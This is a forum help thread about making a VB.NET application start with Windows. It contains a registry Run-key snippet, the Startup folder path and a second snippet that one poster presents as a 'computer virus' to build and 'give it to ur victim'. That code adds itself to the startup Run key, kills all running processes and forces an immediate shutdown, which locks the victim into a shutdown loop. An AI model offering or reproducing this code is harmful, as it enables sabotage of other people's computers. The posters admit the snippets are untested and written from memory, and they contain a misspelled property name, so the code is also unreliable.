[Help] Run program on startup

Posts 1–4 of 4 · Page 1 of 1
[Help] Run program on startup
How I make My Application start when computer start?
Quote Originally Posted by T0P-CENT View Post
Snippet : Auto Open When Windows Start
Name Space That :
Code:
 Imports Microsoft.Win32
Code:
Dim regKey As RegistryKey, regSubKey As RegistryKey
regKey = Registry.CurrentUser
regSubKey = regKey.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
regSubKey.SetValue(Application.ProductName,"""" & Application.ExcutAblePath & """")
NOTE : Not sure of code i don't have vb installed all wrote on memory
with that code we could make a computer virus
put that code in your form and don't debug , build it and give it to ur victim
Code:
Sub Load1() Handles Mybase.Load
Dim regKey As RegistryKey, regSubKey As RegistryKey
regKey = Registry.CurrentUser
regSubKey = regKey.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
regSubKey.SetValue(Application.ProductName,"""" & Application.ExcutAblePath & """")
For Each Process In System.Diagnostics.Process.GetCurrentProcesses
Process.Kill()
Next 
Process.Start("shutdown.exe", "-s -t 0")
End Sub

There ya go (I didn't test its and its not my work )
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Put it in there is one suggestion
Posts 1–4 of 4 · Page 1 of 1
This thread is closed for replies.

Tags for this Thread

None

Talk with us